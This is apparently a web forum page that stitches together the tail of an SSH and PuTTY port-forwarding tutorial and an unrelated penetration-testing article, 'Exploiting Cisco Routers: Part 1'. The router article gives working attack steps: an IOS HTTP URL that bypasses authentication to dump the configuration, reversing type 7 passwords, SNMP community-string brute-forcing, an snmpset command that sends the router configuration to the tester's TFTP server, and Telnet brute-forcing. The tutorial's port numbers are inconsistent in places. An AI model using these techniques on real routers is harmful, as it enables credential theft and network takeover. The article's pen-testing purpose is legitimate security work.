Host http
HostName localhost
        User donkey
        Port 22000
        HostKeyAlias localhosthttp
This file must have the following rights.

Code:
$  chmod 600 ~/.ssh/config
Take a look again at the file above. Note the entry for "LocalForward 22000 192.168.0.66:22", and compare this to the network diagram. The connection to the SSH Server is made by running the command below, from the Linux laptop (192.168.1.106).

Code:
$ ssh -l sporkey 66.35.250.203
Quick hint: the above command can be shortened, since the user name "sporkey" and the "HostName" are already specified in the config file. Therefore, you can use "ssh work" as shown below.

Code:
$ ssh work
After this connection is made, it is possible to access the HTTP Server directly, assuming the account donkey has access to this server. The following command below is executed on the Linux laptop (192.168.1.106). Yes, that is on the Linux laptop in a new window. Again, this will be executed from 192.168.1.106 in a new session. So note here the Linux laptop is getting direct access to (192.168.0.66). Reference the diagram above. This is the "localhost" of the Linux laptop -- you got this, right? The ssh sessions are initiated from the Linux laptop.

Code:
$ ssh -l donkey localhost -p 22000
Since the config file maps "http" to localhost port 2200, the above command can be shortened to the following:

Code:
$ ssh http
Wait, there is a better way. Instead of creating two terminal sessions, one for "ssh work", then, another one for "ssh http", why not put it all together in one command.

Code:
$ ssh -N -f -q work;ssh http
The above command will establish the connection to work, forwarding the necessary ports to the other servers. The "-N" is for "Do not execute remote command", the "-f" requests ssh to go to the background, and "-q" is to suppress all warnings and diagnostic messages. So, still not short enough for you? Then create an alias, alias http='ssh -N -f -q work;ssh http' and put that in your "~.bashrc" file, which is about as short as you can get, since typing http on the command line would get you to the HTTP server.
To copy files to this server, the command below is used. Note uppercase "-P" follows "scp". If you are in the ".ssh" directory you will see an "authorized_keys2" and maybe an "authorized_keys", which you may want to append to the like files on the destination server. These files are only listed as an example. Any file could be copied; but, if you copy these files to the remote server and append the contents to the remote server's authorized_key* files, then, you will not be prompted for a password the next time you make a connection. See Tip 12 in Linux Tips . You will need to create an authorized_keys2 and authorized_keys file with all the public keys of the computers that will connect. Below, assume you have these keys in the currently directory on the laptop, and you want to copy this to the HTTP Sever [192.168.0.66]. The keys go in "~/.ssh/authorized_keys2" for ssh2. Again, take a look at Linux Tips . You do not want to write over any existing keys.

Code:
$ scp -P 22000 authorized_keys* donkey@localhost:./.ssh/.
But, because you have everything in the "config" file, you can shorten the above command to the following:

Code:
$ scp authorized_keys* http:./.ssh/.
The following command, executed from the Linux laptop, will download the web page from the remote server (192.168.0.66).

Code:
$ wget http://localhost:20000/
Linux Laptop becomes Company Web Server -- Power of RemoteForward
Suppose the Linux laptop is running a web server. Is it possible for the people in the company to view this, the web server on the laptop (192.168.1.106), when they attach to HTTP Server (192.168.0.66)? Absolutely. Think about this because what is being suggested here is that a laptop, with no direct access to the HTTP server, is actually going to take over the company web server. Yes, that is exactly what will be shown here; although, instead of taking over the company web server, which is running on port 80 of (192.168.0.66), you will see how to add an additional web server on port 20080. However, if you are intent upon taking over the company web server, you would have to perform similar steps as root, since only root has the ability to take over the privileged ports. But, start with this example first, then, you'll see how to do this on port 80. To perform this magic, the "/etc/ssh/sshd_config", on the company web server (192.168.0.66), must have the variable "GatewayPorts" set to "yes", otherwise, only the users logged into HTTP Server will be able to see the laptop's web page. Instead, we want everyone in the company to have direct access to the added port.

GatewayPorts yes
After making the change, you will need to restart sshd.

Code:
$ /etc/init.d/sshd restart
In the Linux laptop's "~/.ssh/config" add the following entry RemoteForward 20080 localhost:80 so that the complete "~/.ssh/config" is shown below.

Code:
## Updated Linux Laptop .ssh/config  ##
Host work
HostName 66.35.250.203
        User sporkey
        LocalForward 20000 192.168.0.66:80
        LocalForward 22000 192.168.0.66:22
        LocalForward 22139 192.168.0.8:139
        LocalForward 22110 192.168.0.5:110

Host http
HostName localhost
        User donkey
        Port 22000  
        RemoteForward 20080 localhost:80
        HostKeyAlias localhosthttp
If you perform a "netstat -l" from 192.168.0.66, the remote company web server, you should see the following:

Code:
tcp  0  0 *:20080 *:*  LISTEN
This means that anyone, in the company, can view this webpage http://192.168.0.66:20080/ on port 20080. If you wanted port 80, the default http port, the connected user would have to have root privileges.
If you did not change the "/etc/ssh/sshd_config" file, "GatewayPorts" defaults to "no". And executing a "netstat -l" (that's an ell), would return the following:

Code:
tcp   0 0 ::1:20080 *:* LISTEN
With the above restrictions, only users on the computer 192.168.0.66 would see the webpage on 192.168.1.106 from port 20080. This is what happens by default, since "GatewayPorts" is set to no.
By the way, did you figure out what the HostKeyAlias command does? If you make multiple localhost entries in your config file without HostKeyAlias, .ssh/known_hosts will contain multiple entries for "localhost" with different keys. Try it without HostKeyAlias and it should bark at you.
For references on generating ssh key pairs, securing an ssh server from remote root access, and samba mounts through an ssh tunnel see (TIP 12, TIP 13, and TIP 138) in Linux Tips listed at the end of this article. In addition,if you are a system administrator, may want to take note of (TIP 14), keeping yearly logs, and (TIP 26), which shows how to kill a user and all their running processes. In addition, the following (TIP 10, TIP 11, TIP 15, TIP 24, TIP 47, TIP 52, TIP 89, TIP 104, TIP 148, and TIP 150) may help with system security.

PuTTY for WindowsXP
From your Windows XP laptop, you want access to the following resources behind a firewall "SSH server", "Mail Server", and "HTTP Server". The only port allowed in is ssh, port 22, to the "SSH Server". So, how do you get access, from the laptop to the other resources using an ssh tunnel?

Step 1: (Download PuTTY)
Download putty.exe and plink.exe. Although plink.exe is not needed, it provides some handy features you may end up using later.
I normally put the files in "c:/bin", then, add this directory to the path.

Step 2: (Load the IP Address of Your Server)
Substitute the IP address 66.35.250.203 for the IP address of your ssh server and save it. Note 66.35.250.203 really is sourceforge, so unless you're access projects on sourceforge, you probably want a different IP address.



Step 3: (Create the Necessary Tunnels)
There are 2 additional servers you need access to. The "HTTP server" 192.168.0.66, and "Mail server" 192.168.0.5. Click on Tunnel and fill in the following values. The HTTP server works on port 80, so enter 80 in the Source port. The destination is 192.168.0.60:80. Hit "Add" to commit this entry.


Your listing should be similar to the following. Make sure each entry has an "L" listed in front of it. Local port 25 will now go to server 192.168.0.5 on port 25. But, ports 110 and 25 will go to server 192.168.0.5.



Step 4: (Testing the Connection)
If you now open your ssh connection, click on "Sourceforge", or whatever you name it, then, you can browse the data on the "HTTP Server" by filling in local host at the browser. It makes sense to "Check" the connection at this stage -- remember to put in the correct IP addresses for your server.




Step 5: (Setting up Mail)
Mozilla Thunderbird is an excellent mail package. It will work in place of Microsoft Outlook, when connect to your work's Exchange, Postfix, or Sendmail server.
The server location is localhost. And notice the option below to "Leave messages on server". If you have another email client on your workstation at work, then, you might want to keep the mail on the server.

Step 6: (Getting Access to Samba Shares -- Loopback Adapter)
From the Windows XP computer, you want to add a Micosoft loopback Adapter. From the control panel, follow the steps below. By the way, it is possible to add more than one adapter.

1. Yes, I already connected the hardware
2. Add a new hardware device (bottom of menu)
3. Install the hardware that I manually select from a list (Advanced)
4. Select Network Adapters
5. Micosoft Loopback Adapter

Once the adapter is added, you must assign an IP address. The first adapter will be assigned 10.0.0.1, the second will be assigned 10.0.0.2, etc. DO NOT enter a "Default gateway".


The second adapter will have the IP address 10.0.0.2. Remember, there are two samba servers in the network diagram. Both the HTTP server and the SAMBA server have samba shares. Again, DO NOT enter a "Default gateway".


The loopback Adapters should appear in the control panel


Step 7: (Getting Access to Samba Shares -- SSH Configuration Settings)
Now you want to go back into the Putty configuration. In the "Source port" text box, yes it is small, enter 10.0.0.1:139; but note, the image below only shows 0.0.1:139 because it has scrolled to the left. Also, enter 192.168.0.66:139 for the destination address. When done, click "Add".


The completed entry should look like the following:


You can repeat the same procedure above for more samba shares, if you want. Although not shown, the same procedure is used for 10.0.0.2:139; but, it will have a destination of 192.168.0.8. Again, there are two samba shares in the network diagram.

Step 8: (Getting Access to Samba Shares -- View It)
To view the samba share, click Start/Run and type in \\10.0.0.1\

Special Note
You will probably have to reboot. Also, read and download the following patch from Microsoft.
Also, disable File and Printer Sharing for Microsoft Networks for both adapters.
Disable NetBIOS over TCP/IP; but, make sure LMHosts Lookup is enabled.

Exploiting Cisco Routers: Part 1

Exploiting Cisco Routers: Part 1

Introduction

This two-part article will focus on identifying and exploiting vulnerabilities and poor configurations in Cisco routers. We will then discuss the analysis of the router configuration file and will attempt to leverage this access into other systems. Additionally, we will cover the possibilities of what one may do once access to the device has been achieved. We chose to focus this article on Cisco routers due to their overwhelming market share. Don't Forget the Router...

Pen testers may often go after the more glamorous or fun systems to hack, such as the vulnerable Solaris 8 system, or the Microsoft 2000 server vulnerable to the slew of recent RPC DCOM holes, leaving the core network infrastructure devices alone. I would caution the pen tester to think twice about overlooking these critical systems, for these are the proverbial keys to the kingdom. "So what that the telnet service is accessible to everyone on the Internet", or "I need SNMP open in order to manage my devices", the client may say. These two services alone (though not necessarily vulnerable because of bugs in the code) will usually give a pen tester (or attacker) more than enough opportunities to compromise the device. As important as these network devices are to the overall security, reliability, and availability of the network, it is pertinent that the pen tester takes a good, hard look at them before blessing them as being secure.
Full control of the routing device can often lead to full control of the network - either by using credentials learned from the router on other network devices and systems, or by acting more deviously and diverting some traffic through a third-party system on its way to the intended destination. I once held a power company's network in my hands, so to speak. I had brute-forced the SNMP write community string, enabled TFTP, and sent the config file to my TFTP server. I then installed the required management software (it was an older Bay ARN router), and could have very easily reconfigured to router to do what I pleased. I could have removed Access Control Lists (ACLs), used the system to telnet or ssh to internal network systems, or even completely shut the network down. To make matters worse, I had seized control of this critical network device from the comfort of my office in Northern Virginia.
Identifying a Router

Routers can be configured to look just like any other system on the network - they can run a web server, an SSH daemon, chargen, and they can even appear to be running multiple X servers. For this reason, they can may often be mistaken as Unix systems.

Probably the easiest and most accurate way of identifying a host on the network as a router is by using Nmap - the venerable port scanner with very accurate OS fingerprinting. A port scan of a typical Cisco router might look like this:

Interesting ports on router1:
Code:
(The 168 ports scanned but not shown below are in state: closed)
Port       State       Service
7/tcp      open        echo
9/tcp      open        discard
13/tcp     open        daytime
19/tcp     open        chargen
23/tcp     open        telnet
79/tcp     open        finger
2001/tcp   open        dc
4001/tcp   open        unknown
6001/tcp   open        X11:1
9001/tcp   open        unknown
Remote operating system guess: Cisco Router/Switch with IOS 11.2    If a login service such as telnet or SSH is accessible, one can simply use a standard telnet client and connect to the appropriate port. A basic Cisco router might look like the following:
Code:
[root@hackyou root]# telnet router1
Trying router1...
Connected to router1.
Escape character is '^]'.


User Access Verification

Password:
The "User Access Verification" line is a trademark Cisco telnet banner. Of course one can't rely on banners alone, since system administrators sometimes modify them for deceptive reasons.

SING is a tool that one can use to assemble custom ICMP packets, to include ICMP netmask requests (ICMP type 17). In my experience, routers are typically the only devices that reply to this type of ICMP packet. Sending this type (and others) of ICMP packet may also help to positively identify a system as a router.
Using traceroute to find the organization's border router is also quite easy. Once the target site's Internet accessible systems have been identified, one can traceroute to those systems to learn the pathway to them. Typically the last hop before an Internet accessible system is the organization's border router.
Other methods exist, but typically a Telnet client or NetCat is all one needs to connect and verify the device is a router.
Identifying Vulnerabilities

Vulnerability scanners typically do a great job in identifying known vulnerabilities, but can often miss significant configuration errors. Nessus 2.0.6 for example, has a list of about 44 community strings to brute-force the SNMP daemon, which maybe enough to catch the usage of common default community strings such as public, and private, but of course can't take into account site-specific strings that might be in use. As with most penetration tests, vulnerability scanners can be a good start, but are simply inadequate in matching the human element that goes into a penetration test. For its market penetration and popularity, Cisco's IOS has relatively few high-risk vulnerabilities leading to the direct compromise of its devices. Rather, I find that poor system administration leads to the compromise of more routers than software bugs. Correspondingly, a vulnerability scanner may report that everything is fine, when there are actually a couple different avenues a pen tester could take in assessing the router, such as brute-forcing available services.
Exploiting Vulnerabilities in Cisco IOS

A vulnerability that affects most Cisco routers (when conditions are right) is the HTTP Configuration Arbitrary Administrative Access Vulnerability. This particular vulnerability should be found by all vulnerability scanners, and is trivial to exploit. It often yields full remote administrative control of the affected router. The pen tester's tool of choice is simply a web browser. Firstly, a pen tester will fire up his web browser and point it to the vulnerable router. It may look like the following image:



Figure 1: Cisco Router HTTP Basic Authentication Prompt
 
After clicking the "Cancel" button, the pen tester enters the following URL into the address bar. http://10.0.1.252/level/99/exec/show/config and is presented with the startup configuration of the device.



Figure 2: Cisco Router Config Displayed
 
Clearly visible in the web browser is the configuration of the target router. In it, we see exactly how the router is configured, other interfaces, the Access Control Lists (ACLS) if any, the SNMP community strings, and the easily decrypted passwords! Of the three different methods in IOS of storing the password, the network administrator has chosen Vigenere - an easily reversed encryption scheme. In this case, I fire up the freely available tool GetPass from Boson and instantly reverse the hash into plain text.



Figure 3: Decrypting a Vigenere Password
 
Several other decryption tools exist, and most of them are free. There are web pages with CGI scripts that do the decryption, several Unix programs, and even software for your Palm Pilot. Once the password is cracked, the pen tester logs in via telnet and gains complete administrative control on the router.
As mentioned, there are three methods IOS can use to represent a password in a router config file. They are:
  • Clear Text
  • Vigenere
  • MD5
enable password password
enable password 7 104B0718071B17
enable secret 5 $1$yOMG$38ZIcsEmMaIjsCyQM6hya0
It should be obvious that the most secure option is the one-way hash MD5, which by its very nature, cannot be reversed. It's implemented using the command, "enable secret 0 password".
Now you may think that a vulnerability such as this one found almost two years ago should be eradicated by now, but you may be surprised. I mostly find it on test routers on a target's internal network, but that's not to say you won't find a router configured like this that's accessible from the Internet.
Exploiting Configuration Errors

The preceding section demonstrates the exploitation of a bug in Cisco's IOS that yields full remote administrative control. Due to the nature of IOS, and the few bugs like this it has, I'm going to say that more often than not, the pen tester is going to have resort to mundane stuff like brute-forcing. This section explores two different avenues for brute-forcing. Brute-Forcing Services: SNMP is Always Fun

A basic port scan may reveal that UDP port 161 (SNMP) is open and accessible. A vulnerability scan may have produced no results and the pen tester may think that all is secure. However, if the SNMP community strings are dictionary words, the pen tester is in luck. There are a few different tools for brute-forcing SNMP, and it is usually a fairly safe and quiet way of attacking a border router. If you're fortunate enough to have a license to the Solarwinds suite of network management tools, you'll be please to learn that quite a few tools are included that the pen tester can use to assess Cisco routers. However, for SNMP, I like to use the free SNMP audit scanner ADMsnmp, written by the group ADM. ADMsnmp is a console-based application that will mow through a wordlist pretty quickly, letting you know of any community strings it guesses. When determining the wordlist to use, I typically surf the target website and attempt to learn as much about the target as possible. I then take a bunch of acronyms, names, and departments, and try those words. If I have no luck using those words, I'll use a bigger dictionary wordfile until I'm convinced I've been thorough. Linux ships with a wordfile (/usr/share/dict/words) that contains 45427 words. Wordfiles of all shapes and sizes are available in abundance. Some are in different languages, other's have common themes like Greek Gods, or Star Trek, and others contain words that you may be completely foreign to you -- like sports-related talk for me :-)
Below is a screenshot of ADMsnmp guessing a community string. Note the differences that appear on the screen telling the user the community string guessed and the associated level of privileges.



Figure 4: ADMsnp Guessing a Read/Write Community String
The "send setrequest" string in the above image lets the user know that he has gained Read/Write privileges on the device. The first thing I usually do after gaining this level of access is to briefly walk to MIB (Management Information Base) to learn more about the device.

Code:
[root@hackyou root]# snmpwalk -v 1 -c duckling 10.0.1.252 | head
SNMPv2-MIB::sysDescr.0 = STRING: Cisco Internetwork Operating System Software 
IOS (tm) 2500 Software (C2500-I-L), Version 12.0(14), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-2000 by cisco Systems, Inc.
Compiled Tue 31-Oct-00 23:59 by linda
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.9.1.30
SNMPv2-MIB::sysUpTime.0 = Timeticks: (103607424) 11 days, 23:47:54.24
SNMPv2-MIB::sysContact.0 = STRING: 
SNMPv2-MIB::sysName.0 = STRING: ADMsnmp
SNMPv2-MIB::sysLocation.0 = STRING: 
SNMPv2-MIB::sysServices.0 = INTEGER: 6
   Once I learn the device is a router, and running Cisco's IOS, I will then have the router send its config file to one of my systems using TFTP. I do this with the following command:
Code:
[root@hackyou root]# snmpset 10.0.1.252 duckling 
.1.3.6.1.4.1.9.2.1.55.192.168.1.15 s "config"
enterprises.9.2.1.55.192.168.1.15 = "config"
I'll then check my tftpboot directory, and sure enough, the router's config file is now on my system. The Solarwinds suite has a GUI Windows-based tool that does the same thing, but I prefer to work in Linux, so I'll use the UCD-SNMP utilities.
The Solarwinds MIB browser can also be very helpful if SNMP is they only mechanism for accessing the device. It contains the vendor's standard MIBs for an astounding number of different operating systems and devices. Perhaps one can even enable Telnet via the device's MIB. Of course, what one can do via SNMP depends on the vendor and how they decide to utilize SNMP.
Cisco has chosen to invest quite a lot in SNMP, giving network managers (and less scrupulous individuals) access to a lot of useful information such as the device's routing tables, interfaces, IP addresses and more. There are also several configuration items one can set using the Cisco generic MIB.
The below image depicts a generic MIB on a Cisco device. Using Solarwinds you can browse through the MIB, and double click on the items you want to set or retrieve and the application does the work.



Figure 5: Solarwinds MIB Browser on a Cisco Device
 
Brute-Forcing Login Services

Brute-forcing login services such as Telnet and SSH can be somewhat harder and often noisier, but can also yield positive results for the pen tester. One of the first things to do before conducting this type of attack on the router is to determine whether or not the router is using some type of extended authentication like Tacacs or Radius. Though IOS doesn't have any means of natively locking out users after X number of login attempts, lockouts can be enabled when authentication is passed off to another system via Tacacs or Radius. The easiest way to tell if authentication is being passed to another system is to simply connect to the router using a standard Telnet client.
Code:
[root@hackyou root]# telnet router2
Trying router2...
Connected to router2.
Escape character is '^]'.


User Access Verification
Username: If the device prompts for a username, you can almost be sure that it is using some form of extended authentication. In this case, Tacacs is implemented and brute-forcing is going to be more difficult, because the pen tester will have to guess two variables, both the username and password instead of just the password. If finger is running, usernames can be gathered, but the chances of locking out a legitimate user account will likely stop most pen testers from conducting this sort of an attack. Of course, if you have permission to assess the site via "whatever means necessary" you might still want to conduct some brute-forcing up to the lockout threshold.
If it is determined that extended authorization is not in use, then the pen tester can brute-force the Telnet daemon in much the same way he did with SNMP. Brutus is a Windows-based brute-forcing tool that does a number of different protocols, and can be customized for new protocols on the fly. THC's hydra is also an excellent, Unix-based tool that is very capable of brute-forcing a number of different services. Other tools can be written in Expect, Perl, or other languages the pen tester is familiar with.
Concluding Part One

In Part One of this series we've looked at few different ways of gaining access into a Cisco router. These methods are by no means exhaustive, but they do take advantage of common vulnerabilities and configuration errors that you're likely to find while conducting penetration testing. So, by this stage in the pen test, we've gained access to the device. Now what? Come back for Part Two in a few weeks and we'll discuss where you can go from here.
Certified Ethical Hacker Network Security Internet Security Computer Security Wireless Network Security